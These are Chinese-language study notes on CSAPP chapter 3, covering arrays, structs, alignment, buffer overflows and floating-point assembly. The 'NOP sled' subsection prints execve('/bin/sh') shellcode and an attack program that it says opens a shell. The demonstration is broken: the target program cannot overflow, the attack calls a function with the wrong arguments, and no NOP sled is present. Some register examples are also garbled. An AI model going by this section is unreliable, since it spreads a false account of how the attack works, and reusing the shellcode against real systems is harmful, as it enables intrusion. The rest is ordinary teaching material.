要做到这一点,要么就是保证根本不会去改变那些寄存器,要么就是将原寄存器的值压入栈中,改变寄存器的值,然后在返回前从栈中弹出旧的值,压入寄存器的值会在栈帧上创建标号为"被保存的寄存器"。
练习题3.34
八、数组分配和访问
C语言中的数组是一种将标量数据聚集成更大数据类型的方式。C语言的一个不同寻常的特点是可以产生指向数组中元素的指针,并对这些指针进行运算,在机器代码中,这些指针会被翻译成地址计算。
8.1 基本原则
对于数据类型 T 和整型常数 N, 声明如下:
T A[N]
- 起始位置表示为 ;
- 在内存中分配了一个
L * N字节的连续区域,L即数据类型T的大小(单位为字节) ; - 引入标识符
A, 可以用来作为指向数组开头的指针, 这个指针的值就是 ; - 可以用
0 ~ N-1的整数索引来访问该数组元素 ; - 数组元素
i会被存放在地址为 +L*i 的地方 。
x86-64的内存引用指令可以用来简化数组的访问, 对于一个 int E[] 数组, 我们想要计算 E[i], E的地址(起始地址)放在%rdx,i放在%rcx中
movl (%rdx,%rcx,4),%eax 会执行 +4*i, 读取这个内存位置的值。
伸缩因子:1、2、4、8 覆盖了所有基本简单数据类型的大小。即书中第121页的比例因子
练习题3.36
考虑下面的声明
short S[7]
short *T[3]
short **U[6]
int V[8]
double *W[4]
填写下表,描述每个数组元素的大小,整个数组的大小以及元素i的地址
| 数组 | 元素大小 | 整个数组的大小 | 起始地址 | 元素i |
|---|---|---|---|---|
| S | 2 | 14 | ||
| T | 8 | 24 | ||
| U | 8 | 48 | ||
| V | 4 | 32 | ||
| W | 8 | 32 |
8.2 指针运算
C语言运行对指针进行运算,但计算出来的值会根据该指针引用的数据类型的大小进行伸缩。例:p是一个指向类型为T的数据的指针,p的值为 ,那么表达式 p+i的值为 ,这里的 L 是数据类型 T 的大小。
&: 取地址操作符;*: 取值操作符,A[i]等同于表达式*(A+i);
这里看下最后一个例子,表明可以计算同一个数据结构中的两个指针之差,结果的数据类型为long,值等于两个地址之差除以该数据类型的大小。
&E[i] - E= =
8.3 嵌套的数组
创建二维数组时,数组的分配和引用的一般原则也是成立的。
例如: int A[5][3] 等价于如下定义(5行3列的数组)
typedef int row3_t[3];
row3_t A[5];
数组元素在内存中按照行优先的顺序排列,A[0]表示第0行所有元素,A[1]表示第1行所有元素。
访问多维数组的元素,编译器会以数组起始为基地址,(可能需要经过伸缩的)偏移量为索引,产生计算期望的元素的偏移量。
如:数组 T D[R][C]
他的数组元素 D[i][j]的内存地址为 &D[i][j] =
L是数据类型T以字节为单位的大小。C是二维数组的总列数(这个可以自己推一下)
练习题3.38
考虑下面源代码,其中M和N是用 #define 声明的常数,运用逆向工程的技能,根据汇编代码,确定M和N的值
8.4 定长的数组
C语言编译器能够优化定长多维数组上的操作代码。
我们声明如下的定长数组, 计算矩阵A和B乘积的元素i,k,即A的第i行和B的第k列进行相乘
#define N 16
typedef int fix_matrix[N][N];
当将
GCC编译器设置为-O1时,代码会被优化为如下
优化点:
- 去掉了整数索引
j,并把所有的数组引用都换成了指针间接引用; *Aptr: 表示指向矩阵A的第i行的元素;*Bptr: 表示指向矩阵B的第k列的元素;*Bend: 表示循环要截至的地方;
再来看看其优化后的汇编代码
8.5 变长的数组
ISOC99允许数组的维度是表达式,在数组分配的时候才计算出来。(之前都是不允许的,必须要在编译时就可以确定长度)
变长数组中,可以声明如下
int A[expr1][expr2]
int var_ele(long n, int A[n][n], long i , long j) {
return A[i][j];
}
参数
n必须在参数A[n][n]之前,这样函数就可以在遇到这个数组的时候,计算出数组的维度
这里的细节就不说,可以自行去看看书。
如果允许优化,GCC可以识别出程序访问多维数组的元素的步长。然后生成的代码会避免直接应用乘法,提高程序的性能。
九、异质的数据结构
C语言提供了两种将不同类型的对象组合到一起创建数据类型的机制:
- 结构(
structure):用关键字struct来声明,将多个对象集合大到一个单位中; - 联合(
union):用关键字union来声明,允许用几种不同的类型来引用一个对象;
9.1 结构
C语言的 struct 声明创建一个数据类型,将可能不同类型的对象聚合到一个对象中。用名字来引用结构的各个部分。结构也是一种类似数组的实现,结构的所有组成部分都存放在内存中一段连续的空间内,指向结构的指针就是结构第一个字节的地址。
看下面的定义
为了可以访问结构中的字段,编译器产生的代码需要将结构的地址加上适当的偏移。
9.2 联合
联合提供了一种方式,能够规避C语言的类型系统,允许以多种类型来引用一个对象。
看下面的声明:
struct S3 {
char c;
int i[2];
double v;
}
union U3 {
char c;
int i[2];
double v;
}
在x86-64 Linux机器上编译,数据类型S3和U3的字段偏移以及完整大小如下
| 类型 | c | i | v | 大小 |
|---|---|---|---|---|
S3 | 0 | 4 | 16 | 24 |
U3 | 0 | 0 | 0 | 8 |
S3中i的偏移为4,这里是数据对齐(后面讲);U3的对象偏移都是起始位置;联合的总的大小等于它最大字段的大小;
使用联合:
- 在某些特定场景下可以节省空间(两个变量的使用总是互斥的);
- 联合还可以用来访问不同数据类型的位模式;
9.3 数据对齐
许多计算机系统对基本数据类型的合法地址做出了一些限制,要求某种类型对象的地址必须是某个值K(通常是2、4、8)的倍数。这种对齐限制简化了形成处理机和内存系统之间接口的硬件设计。
不过,无论数据是否对齐,x86-64都可以正常工作。不过 Intel 还是建议要对齐数据以提高内存系统的性能。
对齐原则:任何
K字节的基本对象的地址必须是K的倍数。
对于结构而言,编译器会在字段分配中插入间隙,以保证每个结构元素都满足它的对齐要求。而结构本身对它的起始地址也有一些对齐限制。
比如:
struct S1 {
int i;
char c;
int j;
}
在没有对齐的情况下,分配的结构占用空间如下:
上面这种结构并不能满足字段i(偏移为0)和字段j(偏移为5)的4字节对齐要求的。
如果在字段c和j之间插入一个3字节的间隙(阴影部分)
这样,
j的偏移量为8,整个结构的大小为12个字节。
此外,编译器还得保证任何 struct S1 *类型的指针p都满足4字节对齐。就是说结构内访问每个元素的指针的地址也都必须满足其对齐限制,比如:令 p = Xp, 则Xp必须是4的倍数,p->j都必须满足对齐要求。
再看一种情况,是在结构的末尾做一些填充。
struct S2 {
int i;
int j;
char c;
};
这个结构乍一看,好像每个元素的地址都满足了对齐要求了,总共占 9 个字节,不过,我们看下下面的声明:
struct S2 d[4]
这是将 S2 这个结构声明为一个4个元素的数组,这样对于 d 这个数组来说,每个元素的地址都是不满足对齐要求的(因为你一个元素是9个字节,第二个元素的起始地址是9,9显然不满对齐要求,第三个类似),因为这些元素的地址分别为:Xd、Xd+9、Xd+18、Xd+27。
为了满足对齐要求,这个时候编译器会在每个结构体的末尾加上3个字节,即每个结构体分配12个字节,最后3个字节是浪费的空间。这样一来,d的元素地址就会变成:Xd、Xd+12、Xd+24、Xd+36。只要Xd是4的倍数,所有对齐限制都可以满足了。
十、在机器级程序中将控制与数据结合起来
前面我们学习了机器级代码如何实现程序的控制部分和不同的数据结构,这里我们学习一下数据和结构如何交互。
我们主要学习下面几点:
GDB调试器的使用,用来查看运行中的程序的详细信息;- 从机器级程序的角度出发,研究缓冲区溢出;
- 机器级程序如何实现函数中的栈空间大小;
10.1 理解指针
C语言中的指针以一种统一的方式,对不同数据结构中的元素产生引用。
- 每个指针都对应一种类型。比如,
int *p就是一个int类型的指针,void *类型代表通用指针,这是一种特殊的指针类型。指针类型不是机器代码的一部分,是C语言提供的一种抽象。 - 每个指针都有一个值,代表某个指定类型的对象的地址,特殊的
NULL(0)表示该指针没有任何指向的地方。 - 指针用
&运算符创建。 *操作符用于间接引用指针,又称取值符。- 数组与指针紧密联系。
- 将指针强制转换为另外一种类型后,只改变指针的类型,不能改变其值。强制类型转换的一个效果是改变指针运算的伸缩。
- 指针可以指向函数,函数指针的值是该函数机器代码表示中的第一条指令的地址。
10.2 内存越界引用和缓冲区溢出
看这里之前,我们回顾一下过程这里函数栈的布局
因为C语言对于数据引用不进行任何的边界检查,而且局部变量和状态信息(返回地址、寄存器值)都存放在栈中,如果我们对越界的数组元素进行操作,很可能会破坏了程序栈中的信息,比如不小心覆盖了栈中存放返回地址的地方,这样当函数返回时就会报错,这就是缓冲区溢出。
看看下面的例子,这是Unix中gets函数的实现,可以看到并没有去检测最多能读入多少字符(于是很容易出问题),类似的情况还在 strcpy, strcat, scanf, fscanf, sscanf 中出现。
我们来测试一下这个代码
#include <stdio.h>
int main()
{
echo_c();
}
void echo_c(){
char buf[8];
gets(buf);
puts(buf);
}
[root@xxxxx tmp]# gcc echo_call.c -o echo_call2 -fno-stack-protector
echo_call.c: In function ‘main’:
echo_call.c:4:2: warning: implicit declaration of function ‘echo_c’ [-Wimplicit-function-declaration]
echo_c();
^~~~~~
echo_call.c: At top level:
echo_call.c:7:6: warning: conflicting types for ‘echo_c’
void echo_c(){
^~~~~~
echo_call.c:4:2: note: previous implicit declaration of ‘echo_c’ was here
echo_c();
^~~~~~
echo_call.c: In function ‘echo_c’:
echo_call.c:9:2: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
gets(buf);
^~~~
fgets
/tmp/ccG5fJwM.o: In function `echo_c':
echo_call.c:(.text+0x2a): warning: the `gets' function is dangerous and should not be used.
-fno-stack-protector: 此参数时用来禁止GCC产生对抗栈溢出的代码,我们是为了测试才加这个参数
[root@xxxxx tmp]# ./echo_call2
1111111
1111111
[root@xxxxx tmp]# ./echo_call2
1111111^[[D^[[D^[[D
1111111
Illegal instruction (core dumped)
[root@xxxxx tmp]# ./echo_call2
12345678
12345678
[root@xxxxx tmp]# ./echo_call2
1234567890
1234567890
[root@xxxxx tmp]# ./echo_call2
123456789012345
123456789012345
[root@xxxxx tmp]# ./echo_call2
12345678901234567890
12345678901234567890
Segmentation fault (core dumped)
[root@xxxxx tmp]# ./echo_call2
12345678901234567
12345678901234567
Segmentation fault (core dumped)
[root@xxxxx tmp]# ./echo_call2
1234567890123456
1234567890123456
Illegal instruction (core dumped)
[root@xxxxx tmp]# ./echo_call2
123456789012345
123456789012345
可以看到当我们输入1234567890123456时,程序已经出现了栈溢出
我们看看程序的汇编代码
[root@xxx tmp]# gcc -Og -S echo_call.c
.file "echo_call.c"
.text
.globl echo_c
.type echo_c, @function
echo_c:
.LFB12:
.cfi_startproc
subq $24, %rsp
.cfi_def_cfa_offset 32
leaq 8(%rsp), %rdi
movl $0, %eax
call gets
leaq 8(%rsp), %rdi
call puts
addq $24, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE12:
.size echo_c, .-echo_c
.globl main
.type main, @function
main:
.LFB11:
.cfi_startproc
subq $8, %rsp
.cfi_def_cfa_offset 16
movl $0, %eax
call echo_c
movl $0, %eax
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE11:
.size main, .-main
.ident "GCC: (GNU) 8.5.0 20210514 (Red Hat 8.5.0-4)"
.section .note.GNU-stack,"",@progbits
我们可以看到 echo_c 函数中,给栈分配了24个字节的空间。
这里我们来使用gdb调试一下这个程序,来看一下其栈空间
[root@xxx test]# gcc -O0 -g echo_call.c -o echo_call3 -fno-stack-protector
[root@xxx test]# gdb ./echo_call3
# 在函数 main 的入口处设置断点
(gdb) b main
Breakpoint 1 at 0x4005da: file echo_call.c, line 4.
# 开始运行函数
(gdb) run
# 查看当前栈帧的信息
(gdb) info frame
Stack level 0, frame at 0x7fffffffe2a0:
# `rip` 指令地址寄存器,用来存储 CPU 即将要执行的指令地址。每次 CPU 执行完相应的汇编指令之后,`rip` 寄存器的值就会自行累加;`rip` 无法直接赋值,`call, ret, jmp` 等指令可以修改 `rip`
rip = 0x4005da in main (echo_call.c:4); saved rip = 0x7ffff7a2e493
source language c.
# 可以看出是参数列表
Arglist at 0x7fffffffe290, args:
Locals at 0x7fffffffe290, Previous frame's sp is 0x7fffffffe2a0
Saved registers:
# 栈基指针
rbp at 0x7fffffffe290, rip at 0x7fffffffe298
根据 info frame 我们可以看出此时的栈帧是这样
10.3 对抗缓冲区溢出
10.3.1 栈随机化
黑客想要插入攻击代码,必须要有插入指向这段代码的指针,产生这个指针,需要知道这个字符串放置的地址,在过去,程序的栈地址非常容易预测,有些同样的程序的栈地址还是固定的,就导致了系统很容易受到攻击,这种现象被叫做安全单一化。
栈随机化:使得栈的位置在程序每次运行的时候都有变化。
实现方式是,程序开始时,在栈上分配一段0 ~ n字节之间的随机大小的空间,且不使用这段空间。
在Linux系统中,栈随机化已经成为了一个标准行为。它是更大的一类技术中的一种,叫做地址空间布局随机化(Address-Space Layout Randomization),简称ASLR。
空操作雪橇
为了演示空操作雪橇攻击,我们需要先创建一个目标程序,该程序会调用 shell 函数,并使用栈来保存函数参数和返回地址。在演示中,我们使用下面的代码作为目标程序:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void shell(char *cmd) {
system(cmd);
}
void vulnerable_function() {
char buffer[256];
printf("Enter a command to execute: ");
fgets(buffer, 256, stdin);
shell(buffer);
}
int main() {
vulnerable_function();
return 0;
}
在上面的代码中,我们定义了一个名为 shell 的函数,该函数接受一个字符串参数 cmd,并使用 system 函数来执行该命令。我们还定义了一个名为 vulnerable_function 的函数,该函数使用 fgets 函数从标准输入读取用户输入的命令,并将其传递给 shell 函数执行。最后,在 main 函数中,我们只需要调用 vulnerable_function 函数即可启动目标程序。
现在,我们可以编写一个攻击程序,利用空操作雪橇攻击来注入恶意代码并打开一个新的子shell。我们可以使用下面的代码作为攻击程序:
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
void main() {
char buffer[256];
memset(buffer, 0x41, 256);
memcpy(buffer, shellcode, strlen(shellcode));
*(unsigned int*)(buffer+256-4) = 0xbffffd50;
printf("Overflowing the buffer...\n");
vulnerable_function(buffer);
}
在上面的代码中,我们定义了一个名为 shellcode 的字符串,其中包含我们要注入的恶意代码。这段代码使用 execve 系统调用来打开一个新的子shell。我们还定义了一个名为 buffer 的字符数组,该数组将用于注入恶意代码。在 main 函数中,我们首先使用 memset 函数将 buffer 数组的所有元素设置为字符 'A'。接下来,我们使用 memcpy 函数将 shellcode 字符串的内容复制到 buffer 数组中,并将其放置在栈上的合适位置。最后,我们使用 *(unsigned int*)(buffer+256-4) = 0xbffffd50 语句将目标程序的栈地址写入 buffer 数组中。这个地址可以通过反汇编目标程序并使用调试器来获取。
最后,我们调用 vulnerable_function 函数,并将 buffer 数组作为参数传递给它。这将导致缓冲区溢出,注入恶意代码并打开一个新的子shell。
10.3.2 栈破坏检测
在栈帧中任何局部缓冲区与栈状态之间存储一个特殊的金丝雀(canary)值,也成为哨兵值(程序每次运行时随机产生的),在每次恢复寄存器状态和从函数返回之前。如图
10.3.3 限制可执行代码区域
限制哪些内存区域可以存放可执行代码。以前x86体系结构将读和执行访问控制合并成一个1位标志,这样任何被标记位可读的页也都是可执行的。因此栈也是可以读可执行的。已经实现一些机制,可以限制一些页是可读但是不可写,然而这些机制会带来严重的性能损失。
10.4 支持变长栈帧
从之前我们看到的机器级代码中,我们发现他们都是在编译时确定了为栈帧分配多少空间。但是有些函数,需要的局部存储是变长的,比如当函数调用alloca时,alloca是一个库函数,可以在栈上分配任意字节数量的存储。当代码声明一个局部变长数组时,也会发生这种情况。
我们来看一个例子:
long vframe(long n, long idx, long *q) {
long i;
long *p[n];
p[0] = &i;
for(i = 1; i< n; i++){
p[i] = q;
}
return *p[idx];
}
我们可以看出:
- 该函数声明了一个
n个元素数组指针p,n是函数入参,就是说每次调用这个函数n的值都有可能不同; - 局部变量
i,并且局部变量会进行取地址操作,根据前面所学,这个i必须保存在栈中; - 函数返回时,必须释放这个栈帧,并将栈指针设置为存储返回地址的位置。
为了管理变长栈帧,
x86-64使用了寄存器%rbp作为帧指针,也叫基指针,同时%rbp也是一个被调用者保存寄存器
可以看出上面的汇编代码在结尾处执行了leave指令,该指令就是释放当前栈帧,等价于下面两条指令
movq %rbp %rsp 将`栈指针 %rsp` 的值设置为 `%rbp`,`%rbp`此时是指向最开始栈的地方,即没有开始分配空间时的`%rsp`的位置
popq %rbp 弹出`%rbp`, 释放栈帧
练习题3.49
# long vframe(long n, long idx, long *q)
# n in %rdi, idx in %rsi, q in %rdx
# Only portions of code shown
vframe:
## 把%rbp的当前值压入栈中,再将%rbp设置为指向当前的栈位置。
pushq %rbp # Save old %rbp
movq %rsp, %rbp # Set frame pointer
## 在栈上分配16个字节,其中前8个字节用于存储局部变量i,后8个字节是编译器机制决要分配的预留空间(这里不用管)。
subq $16, %rsp # Allocate space for i (%rsp = s1,结合下图看)
## 为数组p分配空间,怎么分配的详看后续单独分析。
leaq 22(,%rdi,8), %rax
andq $-16, %rax
subq %rax, %rsp # Allocate space for array p(%rsp = s2,结合下图看)
## 找到数组p的初始地址
leaq 7(%rsp), %rax
shrq $3, %rax
leaq 0(,%rax,8), %r8 # Set %r8 to &p[0]
movq %r8, %rcx # Set %rcx to &p[0] (%rcx = p)
...
# Code for initialization loop
# i in %rax and on stack, n in %rdi, p in %rcx, q in %rdx
.L3: loop:
movq %rdx, (%rcx,%rax,8) Set p[i] to q
addq $1, %rax # Increment i
movq %rax, -8(%rbp) # Store on stack
.L2:
movq -8(%rbp), %rax # Retrieve i from stack
cmpq %rdi, %rax # Compare i:n
jl .L3 # If <, goto loop
...
# Code for function exit
## 释放栈空间
leave # Restore %rbp and %rsp
ret # Return
分析:
s1 表示执行 subq $16, %rsp 后栈顶指针的位置,这条指令实现了为局部变量 i 分配空间;
s2 表示执行 subq %rax, %rsp 后栈顶指针的位置,这条指令实现了为数组 p 分配空间;
A. 用数学语言解释s2的计算逻辑。
-16的二进制表示高位全是1,地位全是0,所以与-16进行and操作相当于将%rax向下舍入到距离16最接近的倍数。
我们拿一个二进制数来说,当低四位全部是0,你写出的任何一个二进制数都是16的倍数。
十一、浮点代码
处理器的浮点体系结构包括多个方面影响对浮点数据操作的程序如何被映射到机器上
- 如何存储和访问浮点数值。通常是通过某种寄存器方式来完成
- 对浮点数据操作的指令。
- 向函数传递浮点数参数和从函数反馈浮点数结果的规则。
- 函数调用过程中保存寄存器的规则,例如:一些寄存器被指定为
调用者保存,一些为被调用者保存。
简单说下浮点数的历史,1997年Intel发布了Pentium处理器,引入了指令集MMX(Matrix Math Extensions): 矩阵数学扩展,是CPU第一次有能力进行多媒体处理。继而Intel和AMD都引入了持续数代的媒体指令,支持图形和图像处理。
这些指令本意都是允许多个操作以并行模式执行,也被成为SIMD(Single Instruction Multiple Data): 单指令多数据流。
经过近些年来,这些扩展有了长足的发展,名字也有变化,从MMX->SSE->AVX。
在这些指令集中的寄存器也叫不同的名字,在MMX中叫做MM寄存器,在SSE中叫做XMM寄存器,在AVX中叫做YMM寄存器。
MMX->MM(64位)SSE->XMM(128位)AVX->YMM(256位)
我们讲述基于AVX2,下图即是AVX浮点体系允许数据存储在16个YMM寄存器中。
- 每个
YMM寄存器都是256位,即32个字节。 - 对标量数据操作时,这些寄存器只保存浮点数,而且只使用
低32位(float类型)或64位(double类型)
11.1 浮点传送和转换操作
下图给出了一组在内存和XMM寄存器之间以及从一个XMM寄存器到另一个不做任何转换的传送浮点数的指令。
- 引用内存的指令都是
标量指令(即单个数据,不是一组封装好的数据); - 无论数据对齐与否,这些指令都能正确执行(不过建议对齐,32位与4对齐,64位与8对齐);
GCC只用标量传送操作从内存传送数据到XMM寄存器或从XMM寄存器传送数据到内存;- 对于在两个
XMM寄存器之间传送数据,GCC会使用两种指令,vmovaps和vmovapd指令,只是传送的精度不同; 对于这些情况,程序复制整个寄存器还是只复制低位值既不会影响程序功能,也不会影响执行速度,所以使用这些指令还是针对标量数据的指令没有实质上的差别(这句不知道怎么理解);- 在两个寄存器之间传送数据,绝不会出现错误对齐的状况。
11.1.1 浮点数->整数类型
把一个从XMM寄存器或内存中读出的浮点值进行转换,并将结果写入一个通用寄存器(例如: %rax,%ebx等)
- 将浮点数转换为整数时,指令会执行截断(
truncation),把值向0进行舍入, 这是C和大多数其他编程语言的要求。
11.1.2 整数->浮点数类型
这里有两个源和一个目的,第一个操作数读自与内存或一个通用寄存器(注意:是通用寄存器),这里可以忽略第二个操作数,因为它的值只会影响结果的高位字节。我们的目的必须是XMM寄存器,最常见的使用场景中,第二个源和目的操作数都是一样的
vcvtsi2sdq %rax, %xmm1, %xmm1
这条指令从寄存器%rax中读出一个长整型(long),把它转换为数据类型Double, 并把结果写入XMM寄存器%xmm1的低位字节中。
11.1.3 浮点数和浮点数类型之间的转换
这里需要单独说明,从上面给出的图中,我们发现要么是整数->浮点数,要么是浮点数->整数,没有浮点数->浮点数的转换
我们可能会想到会有这样的指令vcvtss2sd(我们模拟前面指令的命名规则写的),但是GCC并没有使用这样的指令而是翻译出了另外的指令
单精度->双精度
vunpcklps %xmm0, %xmm0, %xmm0
vcvtps2pd %xmm0, %xmm0
vunpcklps: 指令通常用来交又放置来自两个XMM寄存器的值,把它们存储到第三个寄存器中。也就是说,如果一个源寄存器的内容为字[s3,s2,156],另一个源寄存器为字[d3,d2,d4,d],那么目的寄存器的值会是[s1,d1,sa,da]。在上面的代码中,我们看到三个操作数使用同一个寄存器,所以如果原始寄存器的值为[x3,x2,x1,xo],那么该指令会将寄存器的值更新为值[x1,x1,x0,xo]。vctps2pd: 指令把源XMM寄存器中的两个低位单精度值扩展成目的XMM寄存器中的两个双精度值。对前面vunpcklps指令的结果应用这条指令会得到值[dxo,dxo],这里dx。是将x转换成双精度后的结果
这两条指令的最终效果是将原始的%xmm0低位4字节中的单精度值转换成双精度值,再将其两个副本保存到%xmm0中。不太清楚GCC为什么会生成这样的代码,这样做既没有好处,也没有必要在XMM寄存器中把这个值复制一遍。
双精度->单精度
对于双精度->单精度,GCC会产生这样的代码
vmovddup %xmm0, %xmm0
vcvtpd2psx %xmm0, %xmm0
这些指令开始执行前寄存器%xmm0保存着两个双精度值[x1,x0]。然后 vmovddup指令把它设置为[x0,x0]。 vcvtpd2psx指令把这两个值转换成单精度,再存放到该寄存器的低位一半中,并将高位一半设置为0,得到结果[0.0,0.0,x0,x0](回想一下,浮点值0.0是由位模式全0表示的)。
11.2 过程中的浮点代码
在x86-64中,XMM寄存器用来向函数传递浮点参数,以及从函数返回浮点值。
XMM寄存器%xmm0~%xmm7最多可以传递``8个浮点参数。按照参数列出的顺序使用这些寄存器。可以通过栈传递额外的浮点参数。- 函数使用寄存器
%xmm0来返回浮点值。(通用寄存器返回值是%rax) - 所有的
XMM寄存器都是调用者保存的。被调用者可以不用保存就覆盖这些寄存器中任意一个。 - 当函数包含指针、整数和浮点数混合的参数时,指针和整数通过通用寄存器传递,而浮点值通过XMM寄存器传递。
看看下面一些例子:
double f1(int x, double y, long z);
这个函数会把x存放在号edi中,y放在xmm0中,而z放在号rsi中。
double f2(double y, int x, long z)
这个函数的寄存器分配与函数f1相同。
double f1(float x, double *y, long *z);
这个函数会将x放在号xmm0中,y放在号rdi中,而z放在号rsi中。
11.3 浮点运算操作
下图是一组执行算术运算的标量 AVX2浮点指令
- 每条指令有一个
(S1)或两个(S1,S2)源操作数,和一个目的操作数D 第一个源操作数S1可以是一个XMM寄存器或一个内存位置。第二个源操作数和目的操作数都必须是XMM寄存器。- 每个操作都有条针对
单精度的指令和一条针对双精度的指令。结果存放在目的寄存器中。
看一个例子:
double funct(double a, float x, double b, int i){
return a*x -b
}
x86-64代码如下:
double funct(double a, float x, double b, int 1)
a in %xmm, x in %xmm, b in %xmm2, i in %edi
funct:
The following two instructions convert x to double
vunpcklps %xmm1, %xmm1, %xmm1
vcvtps2pd %xmm1, %xmm1
vmulsd %xmm0, %xmm1, %xmm0 //Multiply a by x
vcvtsi2sd %edi, %xmm1, %xmm1 //Convert i to double
vdivsd %xmm1, %xmm2, %xmm2 //Compute b/i
vsubsd %xmm2, %xmm0, %xmm0 //Subtract from a*x
ret //Return